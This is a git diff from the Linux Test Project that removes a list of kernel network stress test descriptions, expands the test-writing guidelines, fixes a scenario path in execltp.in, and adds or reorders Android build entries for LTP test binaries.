-		test01 - by ifconfig command
-		test02 - by ip command
-
-if6-alias-adddel01
-	Verify the IPv6 connectivity is not broken when an IPv6 alias is
-	added, then deleted many times
-		test01 - by ifconfig command
-		test02 - by ip command
-
-if6-alias-addlarge01
-	Verify the IPv6 connectivity is not broken when a large number of
-	IPv6 alias is created
-		test01 - by ifconfig command
-		test02 - by ip command
-
-if6-route-adddel01
-	Verify the IPv6 connectivity is not broken when an IPv6 route is
-	added, then deleted many times
-		test01 - by route command
-		test02 - by ip command
-
-if6-route-addlarge01
-	Verify the IPv6 connectivity is not broken when a large number of
-	IPv6 route is created
-		test01 - by route command
-		test02 - by ip command
-
-if6-mtu-change01
-	Verify the IPv6 connectivity is not broken when the mtu of interface
-	is changed many times every 5 seconds
-		test01 - by ifconfig command
-		test02 - by ip command
-
-routing table
--------------
-route4-change-dst
-	Verify the kernel is not crashed when the destination of an IPv4 route
-	is changed frequently
-		test01 - by route command
-		test02 - by ip command
-
-route4-change-gw
-	Verify the kernel is not crashed when the gateway of an IPv4 route is
-	changed frequently
-		test01 - by route command
-		test02 - by ip command
-
-route4-change-if
-	Verify the kernel is not crashed when the interface of an IPv4 route is
-	changed frequently
-		test01 - by route command
-		test02 - by ip command
-
-route4-redirect01
-	Verify the kernel is not crashed when the IPv4 route is modified by
-	ICMP Redirects frequently
-
-route4-ifdown
-	Verify the kernel is not crashed when IPv4 route is add then it is
-	deleted by the interface down
-		test01 - by route command and ifconfig command
-		test02 - by ip command
-
-route4-rmmod
-	Verify the kernel is not crashed when IPv4 route is add then it is
-	deleted by the removing network driver
-		test01 - by route command
-		test02 - by ip command
-
-route6-change-dst
-	Verify the kernel is not crashed when the destination of an IPv6 route
-	is changed frequently
-		test01 - by route command
-		test02 - by ip command
-
-route6-change-gw
-	Verify the kernel is not crashed when the gateway of an IPv6 route is
-	changed frequently
-		test01 - by route command
-		test02 - by ip command
-
-route6-change-if
-	Verify the kernel is not crashed when the interface of an IPv6 route is
-	changed frequently
-		test01 - by route command
-		test02 - by ip command
-
-route6-redirect01
-	Verify the kernel is not crashed when the IPv6 route is modified by
-	ICMP Redirects frequently
-
-route6-ifdown
-	Verify the kernel is not crashed when IPv6 route is add then it is
-	deleted by the interface down
-		test01 - by route command and ifconfig command
-		test02 - by ip command
-
-route6-rmmod
-	Verify the kernel is not crashed when IPv6 route is add then it is
-	deleted by the removing network driver
-		test01 - by route command
-		test02 - by ip command
-
-
-broken_ip
----------
-broken_ip4-version01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv4 packets that have wrong value in version field
-
-broken_ip4-ihl01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv4 packets that have wrong value in the header length field
-
-broken_ip4-totlen01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv4 packets that have wrong value in the total length field
-
-broken_ip4-fragment01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv4 packets that have wrong fragment information
-
-broken_ip4-protcol01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv4 packets that have wrong value in the protocol field
-
-broken_ip4-checksum01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv4 packets that have wrong value in the checksum field
-
-broken_ip4-dstaddr01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv4 packets whose destination address is wrong
-	(destination MAC address is correct)
-
-broken_ip6-version01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv6 packets that have wrong value in version field
-
-broken_ip6-plen01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv6 packets that have wrong value in the payload length field
-
-broken_ip6-nexthdr01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv6 packets that have wrong value in the next header field
-
-broken_ip6-dstaddr01
-	Verify that the kernel is not crashed with receiving a large number of
-	IPv6 packets whose destination address is wrong (destination MAC
-	address is correct)
-
-
-icmp
-----
-uni-basic
-	Verify that the kernel is not crashed with receiving and sending various
-	size of ICMP message
-
-multi-diffip
-	Verify that the kernel is not crashed with receiving and sending various
-	size of ICMP message at the different IP address(alias) simultaneously
-
-multi-diffnic
-	Verify that the kernel is not crashed with receiving and sending various
-	size of ICMP message at different NIC simultaneously
-
-    *) Each section have 7 testcases for IPv4 and 7 testcases for IPv6
-	    test01 - without IPsec / IPComp
-	    test02 - IPsec [ AH / transport ]
-	    test03 - IPsec [ AH / tunnel ]
-	    test04 - IPsec [ ESP / transport ]
-	    test05 - IPsec [ ESP / tunnel ]
-	    test06 - IPComp [ transport ]
-	    test07 - IPComp [ tunnel ]
-
-
-udp
----
-uni-basic
-	Verify that the kernel is not crashed with receiving and sending UDP
-	datagram with the following conditions
-
-multi-diffip
-	Verify that the kernel is not crashed with receiving and sending UDP
-	datagram at the different IP addresses(aliases)
-
-multi-diffnic
-	Verify that the kernel is not crashed with receiving and sending UDP
-	datagram at the different NICs with the following conditions
-
-multi-diffport
-	Verify that the kernel is not crashed with receiving and sending UDP
-	datagram at many different ports with the following conditions
-
-    *) Each section have 7 testcases for IPv4 and 7 testcases for IPv6
-	    test01 - without IPsec / IPComp
-	    test02 - IPsec [ AH / transport ]
-	    test03 - IPsec [ AH / tunnel ]
-	    test04 - IPsec [ ESP / transport ]
-	    test05 - IPsec [ ESP / tunnel ]
-	    test06 - IPComp [ transport ]
-	    test07 - IPComp [ tunnel ]
-
-
-tcp
----
-uni-basic
-	Verify that the kernel is not crashed by a TCP connection
-
-uni-smallsend
-	Verify that the kernel is not crashed by a connection disabling
-	NAGLE algorithm
-
-uni-winscale
-	Verify that the kernel is not crashed by a connection enabling TCP
-	window scaling
-
-uni-tso
-	Verify that the kernel, whose NIC supports TCP Segmentation Offload,
-	is not crashed by a connection enabling TCP window scaling
-
-uni-pktlossdup
-	Verify that the kernel is not crashed by a TCP connection on an
-	unreliable network (Namely, some of the packets are lost, some of
-	them is duplicated.)
-
-uni-dsackoff
-	Verify that the kernel, when the Duplicate SACK support is off, is not
-	crashed by a TCP connection on an unreliable network (Namely, some of
-	the packet is lost, some of them is duplicated).
-
-uni-sackoff
-	Verify that the kernel, when both SACK and Duplicate SACK supports are
-	off, is not crashed by a TCP connection on an unreliable network
-	(Namely, some of the packet is lost, some of them is duplicated).
-
-multi-sameport
-	Verify that the kernel is not crashed with multiple connection to the
-	same ports
-
-multi-diffport
-	Verify that the kernel is not crashed with multiple connection to the
-	different ports
-
-multi-diffip
-	Verify that the kernel is not crashed with multiple connection to the
-	different IP address(alias)
-
-multi-diffnic
-	Verify that the kernel is not crashed with multiple connection to the
-	different NIC
-
-    *) Each section have 14 testcases for IPv4 and 14 testcases for IPv6
-	    test01 - without IPsec / IPComp
-	    test02 - IPsec [ AH / transport ]
-	    test03 - IPsec [ AH / tunnel ]
-	    test04 - IPsec [ ESP / transport ]
-	    test05 - IPsec [ ESP / tunnel ]
-	    test06 - IPComp [ transport ]
-	    test07 - IPComp [ tunnel ]
-	    test08 - delayed network - without IPsec / IPComp
-	    test09 - delayed network - IPsec [ AH / transport ]
-	    test10 - delayed network - IPsec [ AH / tunnel ]
-	    test11 - delayed network - IPsec [ ESP / transport ]
-	    test12 - delayed network - IPsec [ ESP / tunnel ]
-	    test13 - delayed network - IPComp [ transport ]
-	    test14 - delayed network - IPComp [ tunnel ]
-
-
-multicast
----------
-mcast4-grpope01
-	Verify that the kernel is not crashed when joining lots of IPv4
-	multicast groups on a single socket
-
-mcast4-grpope02
-	Verify that the kernel is not crashed when joining lots of IPv4
-	multicast groups on lots of sockets
-
-mcast4-grpope03
-	Verify that the kernel is not crashed when joining and leaving the same
-	IPv4 multicast group on multiple sockets lots of times
-
-mcast4-grpope04
-	Verify that the kernel is not crashed when joining and leaving the same
-	IPv4 multicast group with the different source filter on multiple
-	sockets lots of times
-
-mcast4-pktfld01
-	Verify that the kernel is not crashed when joining a IPv4 multicast
-	group a single socket, then receiving a large number of UDP packets
-	at the socket
-
-mcast4-pktfld02
-	Verify that the kernel is not crashed when joining plural IPv4
-	multicast groups on separate sockets, then receiving a large number
-	of UDP packets at the each socket
-
-mcast4-queryfld01
-	Verify that the kernel is not crashed when joining an IPv4 multicast
-	group on a single socket, then receiving a large number of General Query
-
-mcast4-queryfld02
-	Verify that the kernel is not crashed when joining an IPv4 multicast
-	group on a single socket, then receiving a large number of Multicast
-	Address Specific Query
-
-mcast4-queryfld03
-	Verify that the kernel is not crashed when joining an IPv4 multicast
-	group on a single socket, then receiving a large number of Multicast
-	Address and Source Specific Query
-
-mcast4-queryfld04
-	Verify that the kernel is not crashed when joining plural IPv4 multicast
-	groups on separate socket, then receiving a large number of General
-	Query
-
-mcast4-queryfld05
-	Verify that the kernel is not crashed when joining joining plural IPv4
-	multicast groups on separate socket, then receiving a large number of
-	Multicast Address Specific Query
-
-mcast4-queryfld06
-	Verify that the kernel is not crashed when joining joining plural IPv4
-	multicast groups on separate socket, then receiving a large number of
-	Multicast Address and Source Specific Query
-
-mcast6-grpope01
-	Verify that the kernel is not crashed when joining lots of IPv6
-	multicast groups on a single socket
-
-mcast6-grpope02
-	Verify that the kernel is not crashed when joining lots of IPv6
-	multicast groups on lots of sockets
-
-mcast6-grpope03
-	Verify that the kernel is not crashed when joining and leaving the same
-	IPv6 multicast group on multiple sockets lots of times
-
-mcast6-grpope04
-	Verify that the kernel is not crashed when joining and leaving the same
-	IPv6 multicast group with the different source filter on multiple
-	sockets lots of times
-
-mcast6-pktfld01
-	Verify that the kernel is not crashed when joining a IPv6 multicast
-	group a single socket, then receiving a large number of UDP packets
-	at the socket
-
-mcast6-pktfld02
-	Verify that the kernel is not crashed when joining plural IPv6
-	multicast groups on separate sockets, then receiving a large number
-	of UDP packets at the each socket
-
-mcast6-queryfld01
-	Verify that the kernel is not crashed when joining an IPv6 multicast
-	group on a single socket, then receiving a large number of General Query
-
-mcast6-queryfld02
-	Verify that the kernel is not crashed when joining an IPv6 multicast
-	group on a single socket, then receiving a large number of Multicast
-	Address Specific Query
-
-mcast6-queryfld03
-	Verify that the kernel is not crashed when joining an IPv6 multicast
-	group on a single socket, then receiving a large number of Multicast
-	Address and Source Specific Query
-
-mcast6-queryfld04
-	Verify that the kernel is not crashed when joining plural IPv6 multicast
-	groups on separate socket, then receiving a large number of General
-	Query
-
-mcast6-queryfld05
-	Verify that the kernel is not crashed when joining joining plural IPv6
-	multicast groups on separate socket, then receiving a large number of
-	Multicast Address Specific Query
-
-mcast6-queryfld06
-	Verify that the kernel is not crashed when joining joining plural IPv6
-	multicast groups on separate socket, then receiving a large number of
-	Multicast Address and Source Specific Query
-
-
-ssh
----
-ssh4-stress01
-        Verify the ssh connectivity over IPv4 is not broken after creating
-	many ssh sessions
-
-ssh4-stress02
-	Verify the ssh connectivity over IPv4 is not broken after logged
-	in/out by many clients asynchronously for a long time
-
-ssh4-stress03
-	Verify the ssh connectivity over IPv4 is not broken after forwarding
-	TCP traffic for a long time
-
-ssh6-stress01
-	Verify the ssh connectivity over IPv6 is not broken after creating
-	many ssh sessions
-
-ssh6-stress02
-	Verify the ssh connectivity over IPv6 is not broken after logged
-	in/out by many clients asynchronously for a long time
-
-ssh6-stress03
-	Verify the ssh connectivity over IPv6 is not broken after forwarding
-	TCP traffic for a long time
-
-
-dns
----
-dns4-stress01
-        Verify the dns server or the kernel is not down after handling
-	many name lookup queries
-
-dns4-stress02
-	Verify the dns server or the kernel is not down after handling
-	many reverse lookup queries
-
-dns6-stress01
-	Verify the dns server or the kernel is not down after handling
-	many name lookup queries
-
-dns6-stress02
-	Verify the dns server or the kernel is not down after handling
-	many reverse lookup queries
-
-
-http
-----
-http4-stress01
-        Verify the http server or the kernel is not down after a http client
-	requests large data via IPv4
-
-http4-stress02
-	Verify the http server or the kernel is not down after many http
-	clients request data over IPv4 asynchronously for a long time
-
-http6-stress01
-	Verify the http server or the kernel is not down after a http client
-	requests large data via IPv6
-
-http6-stress02
-	Verify the http server or the kernel is not down after many http
-	clients request data over IPv6 asynchronously for a long time
-
-
-ftp
----
-ftp4-download-stress01
-	Verify the ftp server or the kernel is not down after a ftp client
-	requests large data via IPv4
-
-ftp4-download-stress02
-	Verify the ftp server or the kernel is not down after many ftp
-	clients request data over IPv4 asynchronously for a long time
-
-ftp6-download-stress01
-	Verify the ftp server or the kernel is not down after a ftp client
-	requests large data via IPv6
-
-ftp6-download-stress02
-	Verify the ftp server or the kernel is not down after many ftp
-	clients request data over IPv6 asynchronously for a long time
-
-ftp4-upload-stress01
-	Verify the ftp server or the kernel is not down after a ftp client
-	uploads a large data via IPv4
-
-ftp4-upload-stress02
-	Verify the ftp server or the kernel is not down after many ftp clients
-	uploads data over IPv4 asynchronously for a long time
-
-ftp6-upload-stress01
-	Verify the ftp server or the kernel is not down after a ftp client
-	uploads a large data via IPv6
-
-ftp6-upload-stress02
-	Verify the ftp server or the kernel is not down after many ftp clients
-	uploads data over IPv6 asynchronously for a long time
diff --git a/doc/test-writing-guidelines.txt b/doc/test-writing-guidelines.txt
index 15d4189..739b295 100644
--- a/doc/test-writing-guidelines.txt
+++ b/doc/test-writing-guidelines.txt
@@ -449,6 +449,15 @@
 
 [source,c]
 -------------------------------------------------------------------------------
+const char *tst_strstatus(int status);
+-------------------------------------------------------------------------------
+
+Returns string describing the status as returned by 'wait()'.
+
+WARNING: This function is not thread safe.
+
+[source,c]
+-------------------------------------------------------------------------------
 void tst_set_timeout(unsigned int timeout);
 -------------------------------------------------------------------------------
 
@@ -813,7 +822,7 @@
 2.2.12 Filesystem type detection
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 
-Some tests are known to fail on certain filesytems (you cannot swap on TMPFS,
+Some tests are known to fail on certain filesystems (you cannot swap on TMPFS,
 there are unimplemented 'fcntl()' etc.).
 
 If your test needs to be skipped on certain filesystems, use the interface
@@ -914,12 +923,27 @@
 If '.format_device' flag is set the device is formatted with a filesystem as
 well. You can use '.dev_fs_type' to override the default filesystem type if
 needed and pass additional options to mkfs via '.dev_fs_opts' and
-'.dev_extra_opt' pointers.
+'.dev_extra_opt' pointers. Note that '.format_device' implies '.needs_device'
+there is no need to set both.
 
 If '.mount_device' is set, the device is mounted at '.mntpoint' which is used
 to pass a directory name that will be created and used as mount destination.
 You can pass additional flags and data to the mount command via '.mnt_flags'
-and '.mnt_data' pointers.
+and '.mnt_data' pointers. Note that '.mount_device' implies '.needs_device'
+and '.format_device' so there is no need to set the later two.
+
+If '.needs_rofs' is set, read-only filesystem is mounted at '.mntpoint' this
+one is supposed to be used for 'EROFS' tests.
+
+If '.all_filesystems' is set the test function is executed for all supported
+filesystems. Supported filesystems are detected based on existence of the
+'mkfs.$fs' helper and on kernel support to mount it. For each supported
+filesystem the 'tst_device.fs_type' is set to the currently tested fs type, if
+'.format_device' is set the device is formatted as well, if '.mount_device' is
+set it's mounted at '.mntpoint'. Also the test timeout is reset for each
+execution of the test fuction. This flag is expected to be used for filesystem
+related syscalls that are at least partly implemented in the filesystem
+specific code e.g. fallocate().
 
 [source,c]
 -------------------------------------------------------------------------------
diff --git a/execltp.in b/execltp.in
index 470a2dc..10b1f53 100755
--- a/execltp.in
+++ b/execltp.in
@@ -307,9 +307,9 @@
 
     if len(args) == 0:
         # Default to scenarios also used by runltp.
-        fd = open(os.path.join(ltpdir, 'scenario-groups/default'), 'r')
+        fd = open(os.path.join(ltpdir, 'scenario_groups/default'), 'r')
         try:
-            args = fd.readlines()
+            args = [l.strip() for l in fd.readlines()]
         finally:
             fd.close()
 
diff --git a/gen.bp b/gen.bp
index a2b0334..fd57922 100644
--- a/gen.bp
+++ b/gen.bp
@@ -59,18 +59,38 @@
 }
 
 cc_test {
-    name: "ltp_hackbench",
-    stem: "hackbench",
+    name: "ltp_test15",
+    stem: "test15",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/cfs-scheduler/hackbench.c"],
+    srcs: ["lib/newlib_tests/test15.c"],
     local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_wait402",
-    stem: "wait402",
+    name: "ltp_test16",
+    stem: "test16",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/wait4/wait402.c"],
+    srcs: ["lib/newlib_tests/test16.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_test17",
+    stem: "test17",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/test17.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_dio_append",
+    stem: "dio_append",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dio_append.c"],
+    cflags: ["-DAIO"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -85,6 +105,16 @@
 }
 
 cc_test {
+    name: "ltp_aiodio_sparse",
+    stem: "aiodio_sparse",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/aiodio_sparse.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_umount2_01",
     stem: "umount2_01",
     defaults: ["ltp_test_defaults"],
@@ -151,10 +181,7 @@
     stem: "support_numa",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/numa/support_numa.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-DNUMA_VERSION1_COMPATIBILITY",
-    ],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -199,6 +226,14 @@
 }
 
 cc_test {
+    name: "ltp_hackbench",
+    stem: "hackbench",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/sched/cfs-scheduler/hackbench.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
     name: "ltp_asapi_03",
     stem: "asapi_03",
     defaults: ["ltp_test_defaults"],
@@ -228,6 +263,15 @@
 }
 
 cc_test {
+    name: "ltp_wait402",
+    stem: "wait402",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/wait4/wait402.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_ioctl05",
     stem: "ioctl05",
     defaults: ["ltp_test_defaults"],
@@ -246,6 +290,15 @@
 }
 
 cc_test {
+    name: "ltp_ioctl07",
+    stem: "ioctl07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ioctl/ioctl07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_ioctl06",
     stem: "ioctl06",
     defaults: ["ltp_test_defaults"],
@@ -282,10 +335,10 @@
 }
 
 cc_test {
-    name: "ltp_tst_fs_fill_hardlinks",
-    stem: "tst_fs_fill_hardlinks",
+    name: "ltp_getrandom04",
+    stem: "getrandom04",
     defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_fs_fill_hardlinks.c"],
+    srcs: ["testcases/kernel/syscalls/getrandom/getrandom04.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -493,6 +546,15 @@
 }
 
 cc_test {
+    name: "ltp_ptrace07",
+    stem: "ptrace07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/ptrace/ptrace07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_waitpid10",
     stem: "waitpid10",
     defaults: ["ltp_test_defaults"],
@@ -797,16 +859,11 @@
 }
 
 cc_test {
-    name: "ltp_createfile",
-    stem: "createfile",
+    name: "ltp_ltpServer",
+    stem: "ltpServer",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/echo/createfile.c"],
-    cflags: ["-DDEBUG"],
-    local_include_dirs: [
-        "testcases/network/tcp_cmds/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
+    srcs: ["testcases/network/sockets/ltpServer.c"],
+    local_include_dirs: ["include/old"],
 }
 
 cc_test {
@@ -854,6 +911,19 @@
 }
 
 cc_test {
+    name: "ltp_lftest",
+    stem: "lftest",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/lftest/lftest.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-D_LARGEFILE_SOURCE",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_capset02",
     stem: "capset02",
     defaults: ["ltp_test_defaults"],
@@ -1444,6 +1514,19 @@
 }
 
 cc_test {
+    name: "ltp_meltdown",
+    stem: "meltdown",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/cve/meltdown.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: [
+        "testcases/realtime/include",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_vmsplice01",
     stem: "vmsplice01",
     defaults: ["ltp_test_defaults"],
@@ -1677,6 +1760,16 @@
 }
 
 cc_test {
+    name: "ltp_dio_truncate",
+    stem: "dio_truncate",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/dio_truncate.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_modify_ldt03",
     stem: "modify_ldt03",
     defaults: ["ltp_test_defaults"],
@@ -2057,6 +2150,15 @@
 }
 
 cc_test {
+    name: "ltp_uaccess",
+    stem: "uaccess",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/uaccess/uaccess.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_geniperb",
     stem: "geniperb",
     defaults: ["ltp_test_defaults"],
@@ -2188,6 +2290,14 @@
 }
 
 cc_test {
+    name: "ltp_genbessel",
+    stem: "genbessel",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/misc/math/float/bessel/genbessel.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
     name: "ltp_frag",
     stem: "frag",
     defaults: ["ltp_test_defaults"],
@@ -2995,6 +3105,15 @@
 }
 
 cc_test {
+    name: "ltp_tst_strstatus",
+    stem: "tst_strstatus",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_strstatus.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_sched_get_priority_min01",
     stem: "sched_get_priority_min01",
     defaults: ["ltp_test_defaults"],
@@ -3193,6 +3312,15 @@
 }
 
 cc_test {
+    name: "ltp_fallocate05",
+    stem: "fallocate05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/fallocate/fallocate05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_fallocate04",
     stem: "fallocate04",
     defaults: ["ltp_test_defaults"],
@@ -3310,15 +3438,6 @@
 }
 
 cc_test {
-    name: "ltp_pth_str02",
-    stem: "pth_str02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/sched/pthreads/pth_str02.c"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_stat05",
     stem: "stat05",
     defaults: ["ltp_test_defaults"],
@@ -3420,6 +3539,16 @@
 }
 
 cc_test {
+    name: "ltp_read_checkzero",
+    stem: "read_checkzero",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/read_checkzero.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_getxattr01",
     stem: "getxattr01",
     defaults: ["ltp_test_defaults"],
@@ -3735,6 +3864,24 @@
 }
 
 cc_test {
+    name: "ltp_setrlimit05",
+    stem: "setrlimit05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_setrlimit04",
+    stem: "setrlimit04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/setrlimit/setrlimit04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_setrlimit01",
     stem: "setrlimit01",
     defaults: ["ltp_test_defaults"],
@@ -4180,6 +4327,15 @@
 }
 
 cc_test {
+    name: "ltp_request_key03",
+    stem: "request_key03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/request_key/request_key03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_vma04",
     stem: "vma04",
     defaults: ["ltp_test_defaults"],
@@ -4324,7 +4480,6 @@
     stem: "mbind01",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/mbind/mbind01.c"],
-    cflags: ["-Wno-unused"],
     local_include_dirs: [
         "testcases/kernel/syscalls/utils",
         "testcases/kernel/include",
@@ -4658,19 +4813,6 @@
 }
 
 cc_test {
-    name: "ltp_echoes",
-    stem: "echoes",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/echo/echoes.c"],
-    cflags: ["-DDEBUG"],
-    local_include_dirs: [
-        "testcases/network/tcp_cmds/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_pwritev02",
     stem: "pwritev02",
     defaults: ["ltp_test_defaults"],
@@ -4936,14 +5078,11 @@
 }
 
 cc_test {
-    name: "ltp_testsf_s",
-    stem: "testsf_s",
+    name: "ltp_aio01",
+    stem: "aio01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/tcp_cmds/sendfile/testsf_s.c"],
-    local_include_dirs: [
-        "testcases/network/tcp_cmds/include",
-        "include/old",
-    ],
+    srcs: ["testcases/kernel/io/aio/aio01/aio01.c"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
@@ -5263,10 +5402,10 @@
 }
 
 cc_test {
-    name: "ltp_getrandom04",
-    stem: "getrandom04",
+    name: "ltp_tst_fs_fill_hardlinks",
+    stem: "tst_fs_fill_hardlinks",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrandom/getrandom04.c"],
+    srcs: ["lib/tests/tst_fs_fill_hardlinks.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -5329,14 +5468,10 @@
 }
 
 cc_test {
-    name: "ltp_lftest",
-    stem: "lftest",
+    name: "ltp_add_key03",
+    stem: "add_key03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/lftest/lftest.c"],
-    cflags: [
-        "-D_FILE_OFFSET_BITS=64",
-        "-D_LARGEFILE_SOURCE",
-    ],
+    srcs: ["testcases/kernel/syscalls/add_key/add_key03.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -5351,6 +5486,15 @@
 }
 
 cc_test {
+    name: "ltp_add_key04",
+    stem: "add_key04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/add_key/add_key04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_thp02",
     stem: "thp02",
     defaults: ["ltp_test_defaults"],
@@ -5583,10 +5727,10 @@
 }
 
 cc_test {
-    name: "ltp_tst_net_ip_prefix",
-    stem: "tst_net_ip_prefix",
+    name: "ltp_keyctl08",
+    stem: "keyctl08",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_net_ip_prefix.c"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl08.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -5655,11 +5799,21 @@
 }
 
 cc_test {
-    name: "ltp_genbessel",
-    stem: "genbessel",
+    name: "ltp_keyctl07",
+    stem: "keyctl07",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/bessel/genbessel.c"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl07.c"],
     local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_keyctl06",
+    stem: "keyctl06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/keyctl/keyctl06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
 cc_test {
@@ -6010,16 +6164,6 @@
 }
 
 cc_test {
-    name: "ltp_setuid_test",
-    stem: "setuid_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mount/setuid_test.c"],
-    cflags: ["-D_GNU_SOURCE"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_open05",
     stem: "open05",
     defaults: ["ltp_test_defaults"],
@@ -6584,14 +6728,6 @@
 }
 
 cc_test {
-    name: "ltp_ltpServer",
-    stem: "ltpServer",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/sockets/ltpServer.c"],
-    local_include_dirs: ["include/old"],
-}
-
